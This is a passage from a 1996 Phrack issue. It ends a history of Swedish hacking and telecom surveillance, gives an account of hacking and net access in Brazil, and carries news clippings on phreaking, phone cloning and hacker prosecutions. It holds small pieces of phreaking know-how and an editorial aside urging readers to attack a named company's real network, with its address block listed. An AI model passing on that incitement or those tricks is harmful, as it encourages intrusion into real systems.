efficient type that telcos love. It tells any amateur to keep their
|
||
hands off and do something else. Of course it's a system that hackers
|
||
and phreakers hate, since it's limited to authorities. The filthy crowd
|
||
do not know what is going on inside these exchanges, and the telcos like
|
||
to keep it that way.
|
||
|
||
AXE also works with stored program control that resides inside the
|
||
system core of every switching station. Of course this is all software,
|
||
and of course State Telecom, upon building AXE, couldn't hold back their
|
||
Big Brother tendencies.
|
||
|
||
The result is that every call made from anywhere to anywhere, is logged
|
||
in a central computer. Now that's something! Not only did this equipment
|
||
wipe out every possibility to box within Sweden, but it also removed all
|
||
kind of phone privacy. In fact not only calls are logged, but ALL
|
||
activity performed at your terminal. If you lift the handset, press a
|
||
digit and hang up, time, date and the digit you pressed is registered.
|
||
All this data is stored on magnetic tapes for 6 months.
|
||
|
||
Now, luckily Sweden has a strong Computer Privacy Act. You just aren't
|
||
allowed to set up and use such facilities as you please, not even if you
|
||
are the State Telecom. There is even a specific authority,
|
||
"Datainspektionen" (The Computer Inspection Department) with the only
|
||
purpose of looking after and preserve citizen privacy by protecting
|
||
individuals from corporate and governmental interests. As a result State
|
||
Telecom "Televerket" (which later changed name to "Telia" as they were
|
||
transformed from an authority into a private corporation as of July 1st
|
||
1993) were not allowed to give out any of the information gathered in
|
||
these registers to anyone else than either the calling or the receiving
|
||
party. Not even the police could have this information in case they
|
||
weren't suspecting a indictable crime resulting in at least 2 years of
|
||
prison, such as drug trading or terrorism, and you don't get that kind
|
||
of penalty for phreaking alone - at least not in Sweden.
|
||
|
||
But Telia could evade these restrictions. In order to successfully
|
||
phreak using PIN-codes, you have to call an operator using a Swedish
|
||
version of the 800-number: a 020-number. Telia could then claim the call
|
||
was made to the owner of that number: AT&T, MCI & Sprint mostly. (There
|
||
are of course Calling Cards in Sweden as well: "Telia Access" - neither
|
||
used nor abused by anybody.) As well as these companies have their own
|
||
intelligence agencies, so have Telia. Once eg AT&T had someone traced
|
||
for phreaking, Telia could easily produce a complete list of calls made
|
||
to AT&T operators from a certain number. Telia themselves would even use
|
||
information they weren't allowed to: they would pull out a list of ALL
|
||
outgoing calls from the phreaker in question including calls to MCI,
|
||
girlfriends, mom, dad, grandma... all logged calls.
|
||
|
||
Telia would then call this poor phreaker to their local Swedish office,
|
||
sticking the endless list under his/her nose, commanding: "TALK, or we
|
||
will turn you in to the authorities", carefully not to mention that all
|
||
information on the printout would be absolutely useless in court. The
|
||
only conclusive evidence would in fact be those calls traced back all
|
||
the way from America or wherever the phreaker called; in that way
|
||
rigorously documented. Naturally, the common phreaker had no legal
|
||
experience and wouldn't know about this. Instead he would talk, giving
|
||
out detailed information on his/her techniques worthy of a full-time
|
||
high-educated security consultant. After this session the phreaker was
|
||
given a bill of the calls that could indeed be proven in court. If
|
||
he/she didn't pay it - Telia (or any other operator) would end up
|
||
turning him/her to the authorities anyway. So much for cooperation.
|
||
Telia themselves would, if they felt it was necessary, go even further
|
||
than the overseas operators, systematically exposing every weakness in
|
||
the phreakers personal life, using the information in the computer log
|
||
for psychological terror.
|
||
|
||
This pattern of treatment of Swedish phreakers seems to be very much the
|
||
same among all telecom providers in Sweden. Lately Telia, under command
|
||
of security officer Pege Gustavsson made some noteworthy mistakes
|
||
though: in their efforts to convict as many phreakers as possible, they
|
||
called up companies receiving calls from "suspicious" individuals,
|
||
warning them about this or that person calling them over and over again.
|
||
This could only mean Telia was also systematically monitoring some
|
||
Swedish hackers and had formed some security group to carry out this
|
||
probation. Normally this should have been kept quiet, as Telia are
|
||
absolutely not allowed to form their own abuse police forces, but at
|
||
some instance they happened to call up a security company using
|
||
phreakers as informants. Of course this security company didn't like the
|
||
idea of having "their" phreakers traced around, and the matter was
|
||
brought to public attention. Many independent sources agreed that Telia
|
||
had violated the Swedish Computer Act, and hopefully this brought an end
|
||
to this wild tracing. You shouldn't be too sure though, since Telia
|
||
themselves never confessed of doing anything illegal.
|
||
|
||
As you might have understood the Computer Act is quite an important
|
||
factor in all legal discussions concerning Swedish hacking. This Act
|
||
came out as a result of general attention focused upon the computers vs.
|
||
privacy matter in 1973. As Sweden was one of the first countries to make
|
||
use of computers in governmental administration, and as Swedish
|
||
authorities were eager to register every possible piece of information,
|
||
some politically influential individuals started a debate resulting in
|
||
the founding of the Computer Act and the Computer Inspection Department.
|
||
As a result Sweden is light years ahead of most countries when it comes
|
||
to privacy matters. For example there is no problem in having the number
|
||
identification possibilities on your line deactivated for good, and it
|
||
won't cost you anything. You can also easily obtain free printouts from
|
||
any computer register containing information on you, including the
|
||
register at your local AXE-exchange.
|
||
|
||
To sum this article up I can draw the conclusion that even Sweden has
|
||
had its handful of bright hackers, each category bringing their straw to
|
||
the stack. Even though Swedish officials and companies would hardly
|
||
admit it, these hackers have obviously been very important for this
|
||
country, at least in forcing system managers, security officials,
|
||
software producers, policemen, politicians and so on to think things
|
||
over. Sweden has also attracted outside attention in some cases, and
|
||
will probably keep doing so. If you should pin- point one group that has
|
||
meant more to the Swedish scene than any other, it wouldn't be any of
|
||
the H/P groups, but rather the cracking pioneers Fairlight - a well
|
||
organized and world-famous warez producer.
|
||
|
||
Linus Walleij aka King Fisher / Triad
|
||
triad@df.lth.se
|
||
|
||
(Some handles have been changed to protect retired Swedish hackers from
|
||
luser mail.)
|
||
|
||
Swedish readers may be interested in the fact that I'm currently writing
|
||
a lengthy text in Swedish (a book actually) providing a closer look at
|
||
Swedish hacking history, which will be released on hypertext and ASCII
|
||
sometime later this year. Over and out from Sweden!
|
||
|
||
---------------------------------------------------------------------------
|
||
|
||
HACKING IN BRAZIL
|
||
=================
|
||
|
||
Before talking about hacking here, it's good to describe the conditions
|
||
of living. Right now, the country is a mix of Belgium and India. It's
|
||
possible to find both standards of living without travelling long
|
||
distances. The Southern part of the country concentrate most of the
|
||
industry, while in the west one can find Amazonia jungle. There are many
|
||
Brazils, one could say.
|
||
|
||
Beginning with the hacking and phreaking.
|
||
|
||
Hackers and computers enthusiasts have several different places for
|
||
meeting. When this thing started, by the time of that film "Wargames",
|
||
the real place to meet hackers and make contacts were the computer
|
||
shops, game-arcades and "Video-texto" terminals. The computer shops were
|
||
a meeting place because many of those "hackers" had no computers of
|
||
their own and the shop-owners would let them play with them as part of
|
||
a advertising tool to encourage people buying it for their kids.
|
||
|
||
Today that is no longer needed, since prices dropped down and people
|
||
make a team already at schools or sometimes just join a BBS (most people
|
||
who buy a modem, end up thinking about setting up a BBS). By the way,
|
||
most schools are advertising computer training as part of their
|
||
curricula, to charge more, and like everywhere, I guess, people no
|
||
longer learn typewriting, but computer-writing, and many brazilian
|
||
newspapers dedicate a section on computer knowledge once a week, with
|
||
advertising, hints, general info and even lists of BBS's.
|
||
|
||
A few years ago, the "Video-texto" terminals were also big meeting
|
||
places. That was part of a effort to make popular the use of a
|
||
computer linked by modem to get services like msx-games, info on
|
||
weather, check bank account and so on. Just like the Net, one could do
|
||
e-mail, by some fancy tricks and other things that could be called
|
||
hacking. The difference was that it was made by the state-owned
|
||
telephone company and each time the trick was too well know, it was
|
||
changed. The only way to keep in touch was keeping in touch with the
|
||
people who used the system like hell. It's no different than what it
|
||
happens with the computer gurus. The protocol used for that, X-25 is the
|
||
same used for the banking money transfers, but don't think it was
|
||
possible to do anything more than checking how much money one had and a
|
||
few other classified data. People who used that at home (not too many,
|
||
since the company didn't think it would be such a hit, and didn't
|
||
provide for it) could spend their fathers money discovering funny things
|
||
about the system, like messing with other people's phones and so. One
|
||
could also use the terminals at the Shopping Centers to make phone
|
||
calls to their friends without paying. The guy at the other end would be
|
||
heard by the small speaker.
|
||
|
||
Phreaking here in Brazil is something secret. Apart from the trick
|
||
described in the section "Letters to read by" at the summer 1994 of the
|
||
2600 Magazine, where one would call through locked rotatory telephone,
|
||
little is known about phreaking. One thing is that people who enrolled
|
||
in Telecommunications Engineering could call Europe and USA with ease,
|
||
but they would not tell you how. It must be said that all public phones
|
||
have metal cables around the cables and that the phone machines are
|
||
quite tough to break down. I guess it wasn't for beauty.
|
||
|
||
The phones use some sort of metal coins called fichas, which must be
|
||
bought somewhere. The trick is to use a coin with a string, so it would
|
||
not be collected. But if the police caught... The police doesn't follow
|
||
rules about that. Either they put a fine on the guy for that, or arrest
|
||
him for vandalism or anything else they think of at the moment. It is
|
||
hassle, anyway. My friend who was doing electrical Engineering told me
|
||
that boxing in Brazil was impossible. The system is just not good enough
|
||
to be boxed. Another friend of mine told me that in the Northeast part,
|
||
where people are a little bit different and more easy-going, the phone
|
||
system can be boxed, because some top-brass asked the company to let
|
||
that feature implemented. The Phone company doesn't admit any knowledge
|
||
about that.
|
||
|
||
Internet access is something quite hard to get today. Until a few weeks
|
||
ago, the system would not let the creation of a Internet site that was
|
||
not part of some research project. So, only Universities and like were
|
||
capable of putting people in the Net Universe. In the University of Sco
|
||
Paulo, people in the post-graduation courses could get it with ease, but
|
||
graduating students would have to show some connection to a research
|
||
project. That in theory, because the students found out that one could
|
||
use the IBM CDC 4360 to telnet without a Internet account. Also, all the
|
||
faculties that had computer rooms full of AT 386 which where linked by
|
||
fiber optics to this computer. Another one did the file transfers
|
||
between the accounts and the computer at the computer rooms and that
|
||
ftp was also possible without an account, but only to a few sites, like
|
||
oakland and so. That lasted for about a year, until that thing was
|
||
fixed in the router, but only at the Politechnik School. Says the legend
|
||
that the guys were downloading too much GIF and JPG pictures of Top
|
||
Models from a ftp site nearby. That spent so much bandwidth that the
|
||
site started to complain and both things happened: the site stopped to
|
||
store GIF's of wonderful women in swimsuit and the router was fixed to
|
||
prevent ftp without a Internet account. One can still today connect the
|
||
outside world via telnet and many people have accounts in Internet BBS
|
||
like Isca BBS, Cleveland Freenet and like. The Bad Boy BBS was "in",
|
||
until it went out of business. This kind of access is not good, though,
|
||
for it is very slow, sometimes. Also, it is hard to download something
|
||
bigger than 60 kbyte. The way I devised, downloading the file inside
|
||
the bbs and uuencoding it. This way you could list the file and capture
|
||
the screen listing, uudecode it after some editing and have a working
|
||
.exe or .zip file.
|
||
|
||
By these means one could, inside the Campus, do all downloading one
|
||
wanted, from anywhere in the world. Outside the campus, it is possible
|
||
to do it by phone lines, but: the Modem will not go faster than 2400
|
||
without character correction (no Zmodem at all). Which makes quite hard
|
||
to download compressed files. One could an account: that would be
|
||
possible by these means, but the amount of trash during the phone
|
||
connection would make it real hard to type in passwords and like. To try
|
||
doing any kind of thin g but reading letters by modem is some kind of
|
||
torture. The real thing is to do it by "linha dedicada", a special line
|
||
for computer transmission. It's much more expensive though, but if you
|
||
have the money to spend with that...
|
||
|
||
Perhaps the best way to get access to an Internet account though is to
|
||
be part of the research project "Escola do Futuro" that among other
|
||
things get schools linked by the Net. That's what I did and they pay me
|
||
quite well to search for data in the Net, for the students of those
|
||
schools. The University of Campinas is said to give all students a
|
||
Internet account regardless of knowledge of what-it-is, as soon as the
|
||
guy(girl) gets in. Of course here there's BITNET also. That's doomed for
|
||
extinction, but this or that reason keeps people from closing it down.
|
||
Most teachers use it, guess there's even some post-graduation work
|
||
written about that. It's easier to access via modem, also. Old habits
|
||
die hard.
|
||
|
||
Outside the Campus, for common people, there are few opportunities. The
|
||
only thing you can get, at least until the opening of commercial
|
||
internet sites, something about to happen one of these days, is access
|
||
by mail. You join one BBS with Internet access, and your mail is sent by
|
||
a Internet account later during the day. This is not a direct access,
|
||
as one can see, but it's a easy way to access by modem. Problem is that
|
||
you have to pay if you use it too much. The BBS's that do it don't do it
|
||
for free, also. Connection to the Compuserve is also possible, but it
|
||
also costs a lot of money, for my point of view.
|
||
|
||
Because of the newspapers, the knowledge about Internet is spreading
|
||
fast and the number of sites is growing the same way everywhere else in
|
||
the world. Even the military people are starting with it. There are plan
|
||
s to enhance it and make better connections, and some informative
|
||
material is being translated in Portuguese, like "Zen and the Art of
|
||
Internet" and made available in the gopher.rnp.br. There are many
|
||
mirrors from many famous sites, like Simtel20 and at least one Internet
|
||
BBS, the "Jacare BBS" (Alligator bbs, available by telnetting
|
||
bbs.secom.ufpa.br - 192.147.210.1 - login bbs. World Wide Web sites are
|
||
becoming sort of popular also, but still available only to a few people
|
||
who are lucky enough to get the access. Brazilian hackers are not very
|
||
fond of sharing the knowledge of how to get access and other things,
|
||
sometimes because of fear of losing it, sometimes because the greed of
|
||
it would overcharge the system. There's no hacker magazine here, yet,
|
||
and very few people confess their curiosity about hacking for knowledge
|
||
for fear of not finding jobs. Anyway most would-be hackers either get a
|
||
job and stop hacking for fun or keep their activities secret in order to
|
||
pursue their objectives.
|
||
|
||
Today, Brazilian Hacker Underground did change a little. Lots of
|
||
magazines, dealing only with Internet Issues, are being published. There
|
||
is a hacker zine, the now famous "Barata Eletrica". This and the hacker
|
||
list I created is starting to unite the computer rats, here. But I had
|
||
to stop hacking in order to write the e-zine. Too famous to do that.
|
||
Another guy just started the thing. He did not learn with my mistake and
|
||
is signing it with his name, also. Received lots of letters, even as far
|
||
as Mozambique, praising the material, which is very soft, for fear of
|
||
losing my net access. Twice my account was "freezed". The people at my
|
||
site are paranoid. Suffered too much from break-ins already. Most BBS's
|
||
are trying to turn themselves in Internet providers or else, to get
|
||
e-mail access. There was a fear the State would control the thing, like
|
||
they did with the Phone system. Can any of you guys imagine what it is,
|
||
to pay 4.000 US$ dollars for a phone line? In the City of Sao Paulo,
|
||
(look like L.A., one can say), that's the average price. Cellular is
|
||
cheaper. Motorola rules. The public phone system was changed again. No
|
||
more "fichas". At least for long distance calls. It's a small card that
|
||
looks like plastic one side and magnetic material in the other. m still
|
||
trying to do 2600 meetings. Oh, once in a while, there is a break-in
|
||
here and there, and a hacker is interviewed in TV, but people are only
|
||
now making the difference between the good guys (hackers) and the bad
|
||
guys (crackers). With Win95, people are losing fear of exchanging
|
||
virus-sources files. The lack of philes in Portuguese makes it dificult
|
||
for people to learn about hacking. People who know about it, don't have
|
||
enough time to write. I started to unite some guys to do a translation
|
||
of "hacker crackdown", but that's another story. I shortened the name of
|
||
the book to "crack.gz". Guess what's happened? My account is blocked up
|
||
to this day. They told me I'll get my access back. One of these days.
|
||
One of these days I'll re-write this article, and tell the whole thing
|
||
in detail.
|
||
|
||
Any Portuguese speaker that does not know about my e-zine,
|
||
try a ftp.eff.org mirror. The URL:
|
||
ftp://ftp.eff.org/pub/Publications/CuD/Barata_Eletrica
|
||
|
||
==Phrack Magazine==
|
||
|
||
Volume Seven, Issue Forty-Eight, File 18 of 18
|
||
|
||
PWN PWN PNW PNW PNW PNW PNW PNW PNW PNW PNW PWN PWN
|
||
PWN PWN
|
||
PWN Phrack World News PWN
|
||
PWN PWN
|
||
PWN Compiled by Datastream Cowboy PWN
|
||
PWN PWN
|
||
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
|
||
|
||
|
||
|
||
Security Software Thwarts Hackers July 23, 1996
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
(PRNewswire)
|
||
|
||
World Star Holdings, Ltd. announced today that there have been approximately
|
||
5,000 unsuccessful attempts to break its proprietary VPAGE Internet security
|
||
system. In order to further demonstrate the functionality of its technology,
|
||
they Company has unveiled a new addition to the World Star Internet security
|
||
challenge: "The World Star Cyberhospital."
|
||
|
||
The company recently launched an online contest offering more than $50,000 in
|
||
cash and prizes to the first person to break its security.
|
||
|
||
[ THESE CHALLENGES ARE UNADULTERATED BULLSHIT. Phrack suggests you test
|
||
something other than the fake, non-production demo contest system. How
|
||
well does their software hold up in a real business environment?
|
||
(in other words: THEIRS!?!!@$)
|
||
|
||
World Star Holdings (NET-WORLDSTAR-MB-CA)
|
||
165 Garry Street
|
||
Winnipeg, Manitoba R3C 1G7
|
||
CA
|
||
|
||
Netname: WORLDSTAR-MB-CA
|
||
Netnumber: 205.200.247.0 ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Your Cellular Phone Number May Be Up For Grabs August 21, 1996
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
by Mimi Whitefield (Miami Herald)
|
||
|
||
|
||
Electronic bandits have snatched cellular phone numbers from the airwaves and
|
||
cloned phones used by the Miami office of the Secret Service.
|
||
|
||
BellSouth Florida president Joe Lacher's phone has been cloned; Spero Canton,
|
||
spokesman for BellSouth, has been a victim three times over.
|
||
|
||
"The bums never sleep. They're everywhere," complained Bill Oberlink,
|
||
regional president for AT&T Wireless Services.
|
||
|
||
But the good news is that law enforcement agencies and cellular companies
|
||
themselves are fighting back with a new arsenal of tools, technology and laws
|
||
that make it easier to detect and prosecute cellular bandits.
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Miami Fraud Squad Pursues Cellular Bandits August 12, 1996
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
by Audra D.S. Burch (Miami Herald)
|
||
|
||
How's this for capitalism gone awry: Metro-Dade police nabbed a cellular
|
||
bandit who was selling a $150 package deal -- $75 each for a stolen phone
|
||
and number -- along with a 30-day guarantee on unlimited illegal air time.
|
||
|
||
In a sting operation, police took him on the cut-rate offer.
|
||
|
||
Thanks to the work of a special Metro-Dade Police Economic Crimes Bureau, the
|
||
entrepreneurial cloner got a prison sentence.
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Newer Technology Aids Fight Against Cellular Fraud August 21, 1996
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
by Mimi Whitefield (Miami Herald)
|
||
|
||
New technology is on the side of cellular companies fighting telecom criminals
|
||
who can rack up thousands of dollars in illegal charges before a consumer even
|
||
knows he's been hit.
|
||
|
||
New Jersey-based Bellcore, for example, has developed NetMavin software,
|
||
which can detect fraudulent or unusual calling patterns within half an hour.
|
||
|
||
"This is really going to screw the cloners up," said Roseanna DeMaria, an
|
||
AT&T Wireless executive.
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
SPA Files Copyright Suit July 28, 1996
|
||
~~~~~~~~~~~~~~~~~~~~~~~~
|
||
(Reuters News)
|
||
|
||
The Software Publishers Association said Sunday it filed a civil copyright
|
||
infringement lawsuit against a Seattle man for illegal distribution of
|
||
software on the Internet.
|
||
|
||
The suit, which was filed July 23 in the U.S. District Court in Seattle,
|
||
alleges that Max Butler illegally uploaded copyrighted software to a file
|
||
transfer protocol site for distribution across the Internet, the trade
|
||
association said.
|
||
|
||
"This action is a warning to Internet users who believe they can infringe
|
||
software copyrights without fear of exposure or penalty," said Sandra
|
||
Sellers, Software Publisher's vice president of intellectual property
|
||
education and enforcement.
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
The L0pht August, 1996
|
||
~~~~~~~~~
|
||
by Steve G. Steinberg (Wired) p. 40
|
||
|
||
What do a group of hackers do when the equipment they've accumulated over
|
||
years of dumpster diving no longer fits in their apartments? They get
|
||
a l0pht. Since 1993, a core group of seven Boston-based hackers have rented
|
||
a loft space for hacking, trading information about cellular phones security,
|
||
and building things like a wireless Internet service using discarded
|
||
microwave equipment.
|
||
|
||
Now that all of them have day jobs in the industry, why do they keep at it?
|
||
"For the girls and the text files, of course," says Mudge.
|
||
|
||
[ HELL YES!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Cracking Down on the Outlaws of Cyberspace July 2, 1996
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
by M.J. Zuckerman (USA Today) p. 4B
|
||
|
||
|
||
What's it take to be America's top cybercop?
|
||
|
||
"I was a hockey referee, so I'm used to being beaten up," suggests Jim
|
||
Christy, who is among those most often mentioned for the title. And he's
|
||
been at it for only a decade.
|
||
|
||
Today, with the weighty title of Chief of Computer Crime Investigations
|
||
and Information Warfare, he is one of 68 computer investigators in the
|
||
Air Force Office of Special Investigations (OSI).
|
||
|
||
Christy, a Baltimore native, stumbled into the computer field. After
|
||
drawing No. 35 in the draft lottery during the Vietnam War, he joined the
|
||
Air Force rather than waiting to be drafted. He spent the next four years
|
||
as a computer key punch operator, followed by 13 years as a civilian working
|
||
computers at the Pentagon.
|
||
|
||
When he moved to OSI, Christy largely ceased his hands-on involvement with
|
||
computers and systems.
|
||
|
||
Since last fall, Christy has been on temporary assignment to the Senate
|
||
Permanent Subcommittee on Investigations, helping them examine security
|
||
in cyberspace.
|
||
|
||
"I like working up on Capitol Hill, because you can make a difference,"
|
||
Christy says.
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
Hackers Penetrate Justice Department Home Page August 18, 1996
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
(AP News Wire)
|
||
|
||
Internet hackers infiltrated the Justice Department's home page
|
||
yesterday, altering the official web site to include swasticas,
|
||
obscene pictures and lots of criticism of the Communications Decency Act.
|
||
|
||
The official web site, which was turned off by government technicians
|
||
when it was discovered, was changed to read "United States Department of
|
||
Injustice," next to a red, black and white flag bearing a swastika.
|
||
|
||
The page included color pictures of George Washington, Adolf Hitler, and a
|
||
topless Jennifer Aniston.
|
||
|
||
[ A link to a copy of the page is it http://www.fc.net/phrack/doj ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Employment Prospect Grim for Hacker August 19, 1996
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
(AP News wire)
|
||
|
||
|
||
Employment prospects are grim for Kevin Lee Poulsen, a computer whiz
|
||
imprisoned five years for his cyberspace havoc.
|
||
|
||
The 30-year-old hacker has been barred from getting near a computer for the
|
||
next three years and he now fears selling cowboy boots at a Western store
|
||
will be his only opportunity to make some money.
|
||
|
||
"It's the only place where I've been greeted with a positive attitude," he
|
||
said during an interview last week. "I can't get a job that I am qualified
|
||
for, basically."
|
||
|
||
On September 3, he goes to federal court in hopes of having some of the
|
||
computer restrictions relaxed.
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
School Hires Student To Hack Into Computers August 22, 1996
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
(The Sun Herald)
|
||
|
||
Students at Palisades Park's high school needed their transcripts to
|
||
send off to colleges. But they were in the computer and no one who knew
|
||
the password could be reached. So the school hired a 16-year-old hacker
|
||
to break in.
|
||
|
||
Superintendent George Fasciano was forced to explain to the School
|
||
Board on Monday the $875 bill for the services of Matthew Fielder.
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Feds aim low on hacker crackdown June 21, 1996
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
by Lewis Z. Koch (Upside Online News)
|
||
|
||
Nineteen-year-old Christopher Schanot of St. Louis, Mo. has been
|
||
languishing in a Federal jail since March 25, 1996, charged with four
|
||
counts of computer hacking. He is not allowed to post bond, because
|
||
Federal authorities contend he is "a computer genius intent on
|
||
infiltrating computer systems of some of the largest companies and
|
||
entities in the country," and because a jailhouse snitch claims Schanot
|
||
bragged he would run away if he were released. He has never been charged
|
||
with a crime or arrested before.
|
||
|
||
Schanot's problems began after he ran away from home on May 30, 1995,
|
||
taking some of his disks, a hard drive and personal items. According to a
|
||
knowledgeable source close to Schanot, Chris felt his parents, especially
|
||
his father Michael, didn't understand or respect him.
|
||
|
||
Less rocky, it seems, was his relationship with Netta Gilboa, a
|
||
38-year-old woman living near Philadelphia. Gilboa is editor-in-chief and
|
||
publisher of _Gray Areas_, a slick, text-heavy, irregular magazine that
|
||
explores the "grey areas" of "alternative lifestyles and deviant
|
||
subcultures."
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
City of London Surrenders To Cyber Gangs June 2, 1996
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
(Times of London)
|
||
|
||
City of London financial institutions have paid huge sums to international
|
||
gangs of sophisticated "cyber terrorists" who have amassed up to 400 million
|
||
pounds worldwide by threatening to wipe out computer systems.
|
||
|
||
A Sunday Times Insight investigation has established that British and
|
||
American agencies are examining more than 40 "attacks" on financial
|
||
institutions in London and New York since 1993.
|
||
|
||
Victims have paid up to 13 million pounds a time after the blackmailers
|
||
demonstrated their ability to bring trading to a halt using advanced
|
||
"information warfare" techniques learnt from the military.
|
||
|
||
According to the American National Security Agency (NSA), they have
|
||
penetrated computer systems using "logic bombs" (coded devices that can
|
||
be remotely detonated), electromagnetic pulses and "high emission radio
|
||
frequency guns," which blow a devastating electronic "wind" through a
|
||
computer system.
|
||
|
||
The gangs are believed to have gained expertise in information warfare
|
||
techniques from the American military, which is developing "weapons"
|
||
that can disable or destroy computer hardware. Some are also known to
|
||
have infiltrated banks simply by placing saboteurs on their payroll as
|
||
temporary staff.
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Credit Fraud on AOL
|
||
~~~~~~~~~~~~~~~~~~~
|
||
(AP Newswire)
|
||
|
||
Two boys posed as billing representatives for an online service and stole
|
||
at least 15 credit card numbers, and used those numbers to buy $15,000
|
||
worth of merchandise, from computer equipment to cymbals, police said.
|
||
|
||
The two 16-year-olds were charged with 39 counts of possession of
|
||
stolen property, theft and attempted fraud. They were released to the
|
||
custody of their parents pending a Family Court hearing.
|
||
|
||
Police believe the boys obtained a program designed by computer
|
||
hackers to flimflam customers of America Online. It sends a message to
|
||
users saying they will be cut off if they don't type in their name,
|
||
credit card account number and computer service password.
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
FBI Survey Reveals Growth of Cybercrime May 6, 1996
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
by Rory J. O'Connor (San Jose Mercury News)
|
||
|
||
Intruders are breaking into the nation's computer systems at an
|
||
increasing rate and often with more nefarious motives than in the
|
||
past, according to a survey co-sponsored by the FBI and a private
|
||
group of computer security professionals.
|
||
|
||
"What this shows is that the ante has been upped in cyberspace," said
|
||
Richard Power, senior analyst of the Computer Security Institute in
|
||
San Francisco, which conducted the survey. "As all manner of commerce
|
||
moves into cyberspace, all manner of crime is moving there as well.
|
||
It's no longer just vandalism."
|
||
|
||
More than 40 percent of the 428 corporate, university and government
|
||
sites that responded to the FBI survey reported at least one
|
||
unauthorized use of their computers within the last 12 months, with
|
||
some institutions reporting as many as 1,000 attacks in the period.
|
||
|
||
It also appears that there's more computer crime for hire occurring,
|
||
Power said, exploiting mainly older hackers who have graduated to
|
||
making money off the skill they once used simply to establish bragging
|
||
rights with their peers. He suggested that some of the hiring is being
|
||
done by intelligence services of various governments, although he
|
||
offered no proof.
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
University hacker to be hunted on the Internet April 27, 1996
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
By Robert Uhlig (London Daily Telegraph)
|
||
|
||
Computer experts at Cambridge University are using the Internet to hunt
|
||
for a hacker who breached their security systems to access some of the
|
||
world's most sensitive research information.
|
||
|
||
The authorities had no indication that the hacker deleted or altered
|
||
files, "although there was the potential for that", he said. Files
|
||
belonging to world-renowned research scientists may have been viewed or
|
||
copied, giving the hacker an insight into commercially and academically
|
||
sensitive material.
|
||
|
||
The hacker used a so-called sniffer program, which sat silently within the
|
||
computer system for four weeks, monitoring its activities. This could
|
||
allow the hacker to compile a list of all passwords to give him unhindered
|
||
access to every computer on the university's network. "There was the
|
||
potential to access any material on any computer anywhere on the
|
||
university's network - ranging from electronic-mail to confidential
|
||
research data," said Mr Stibbs.
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Agents' Codes Exposed on Web March 16, 1996
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
By: Robert E. Kessler (Newsday)
|
||
|
||
|
||
In an attempt to help (Ed) Cummings, and discredit the Secret Service, a Long
|
||
Island-based hacker magazine last week launched a page on the World Wide
|
||
Web publishing lists of Secret Service radio frequencies, photographs of
|
||
agents, and codenames used by the agency for officials and buildings.
|
||
|
||
Last year, Cummings, a 35-year-old native of Reading, Pa., pleaded
|
||
guilty to federal charges in Philadelphia of possessing telecommunications
|
||
equipment with intent to defraud and served a seven-month prison sentence.
|
||
|
||
As a result of that conviction, last week Cummings was sentenced by a
|
||
judge in Easton, Pa., north of Philadelphia, to serve a six- to 24-month
|
||
sentence for violating probation after pleading no contest to a 1994 charge
|
||
of tampering with evidence in another telephone hacking case.
|
||
|
||
"Painting this guy as some white knight or someone who is standing up
|
||
for free speech is wrong," said Kun. "He's engaged in fraud."
|
||
|
||
Cummings' attorney, Kenneth Trujillo, could not be reached for comment.
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Judge Denies Bond to Accused Hacker April 6, 1996
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
by Tim Bryant (St. Louis Post Dispatch)
|
||
|
||
After another prisoner said accused computer hacker Christopher Schanot was
|
||
planning a quick escape from his parents' home near High Ridge, a federal
|
||
magistrate decided Friday to keep Schanot in jail.
|
||
|
||
"He said he would wait a couple of days and take off," testified the
|
||
prisoner, Gerald Esposito.
|
||
|
||
Schanot's lawyer, federal public defender Norm London, told Davis that
|
||
the alleged conversation between the young man and Esposito never happened.
|
||
|
||
London, pointing out that Esposito has convictions for sexual assault,
|
||
said the older prisoner had "made overtures" to jail officials about moving
|
||
Schanot into Esposito's housing area.
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Hacked Off! Government, Firms Fight Computer Intruders April 7, 1996
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
by Colleen Bradford (St. Louis Post Dispatch)
|
||
|
||
Every day, hundreds of people in front of personal computers try to sneak
|
||
into corporate and government computer networks. Sometimes they just look
|
||
around, sometimes they destroy data and sometimes they steal personal and
|
||
classified information.
|
||
|
||
